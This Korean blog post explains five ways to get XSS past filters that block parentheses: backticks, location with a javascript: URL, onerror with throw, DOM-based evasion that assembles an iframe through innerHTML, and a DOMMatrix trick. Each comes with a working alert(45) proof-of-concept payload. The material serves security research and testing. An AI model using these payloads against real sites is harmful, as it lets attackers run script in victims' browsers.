Ways to XSS without parentheses
Introduction
간만에 @garethheyes 가 굉장히 쓸만한 테크닉을 하나 공유했습니다. DOMMatrix 를 이용해서 괄호 검증을 나가는 방법이고, 기존에 사용하던 방법들에 어려움이 있을 때 참고해볼만한 기법입니다. 꼭 한번 읽어보세요.!
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
x=new DOMMatrix;
matrix=alert;
x.a=45;
location='javascript'+':'+x
그래서 겸사겸사.. 오늘은 이 방법과 함께 괄호에 대한 필터링이 있는 경우 XSS를 풀어나가기 위한 방법에 대해 정리해둘까 합니다. 이전까지 따로따로 글을 작성했었는데, 간만에 한 글에 모아봅시다!
Bypass technic 1 - Backtick
Backtick(```) 은 javascipr 내부에서 여러 용도로 사용됩니다. 그중엔 괄호를 대체할 수도 있습니다.
alert`45`
자세한 내용은 예전에 작성한 글 중 Bypass Point 3
을 보시면 될 것 같습니다 :D
https://www.hahwul.com/2017/06/web-hacking-bypass-xss-filter-with-back.html
Bypass technic 2 - location
garethheyes 이야기대로, location은 좋은 우회방법이긴 하지만, 점점 location에 대한 정책이 강화되고 있어서 입지가 좁아지고 있는건 사실입니다. 또한 safari에서의 이슈도 있구요.
document.location="javascript:alert%2845%29"
Bypass technic 3 - throw
좋은 방법이긴하나 WAF에 많이 막히긴합니다. onerror에 alert 함수를 넣어주어, 에러 시 onerror()
가 alert()
이 되도록 값을 덮어쓰고, throw로 강제로 에러를 발생시켜 onerror()
가 호출되게 하는 방법입니다. 결론적으론 alert(45)
와 같은 효과를 내죠.
onerror=alert;throw 45
https://portswigger.net/research/xss-without-parentheses-and-semi-colons
Bypass technic 4 - XDE(XSS DOM-base Evasion)
location이나 innerHTML 등을 이용한 XDE입니다. 핵심은 HTML Object 내에서 특수문자를 최대한 찾아(삽입할 수 있는 경우엔 그냥 넣고 쓰면 됩니다) DOM안에서 공격코드를 구성하는 방법입니다.
NAME: <input type="text" id="v1" value="z<iframe ">
PHONE: <input type="text" id="v2" value=" src=javascript:alert(45)><">
DESC: <input type="text" id="v3" value="/iframe>">
<script>
document.body.innerHTML=window.v1.value+window.v2.value+window.v3.value;
</script>
- https://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html
Bypass technic 5 - DOMMatrix
대망의 DOMMatrix입니다. 우선 공격코드부터 보면 아래와 같습니다.
x=new DOMMatrix;
matrix=alert;
x.a=45;
location='javascript'+':'+x
DOMMatrix 객체를 만들고, 해당 객체(matrix)의 원형에 alert을 넣고 location에 javascript 구문과 함께 넘겨주면, 결과적으로 x 변수에는 matrix(45,0,0,1,0,0)
이 들어가며, 이는 matrix에 alert을 넣었기 때문에 alert(45,0,0,1,0,0)
와 동일하게 동작합니다.
javascript:matrix(45, 0, 0, 1, 0, 0)
matrix
ƒ alert() { [native code] }
Conclusion
Javascript 를 이용한 방법은 정말 끝도 없습니다. DOM 객체나 Javascript의 특성적인 부분을 잘 이용한다면 사용하기 어려운 특수문자들을 우회하여 결국 XSS까지 이뤄질 수 있겠죠.
Happy hacking!
Reference
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
- https://www.hahwul.com/2017/06/web-hacking-bypass-xss-filter-with-back.html
- https://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html
- https://portswigger.net/research/xss-without-parentheses-and-semi-colons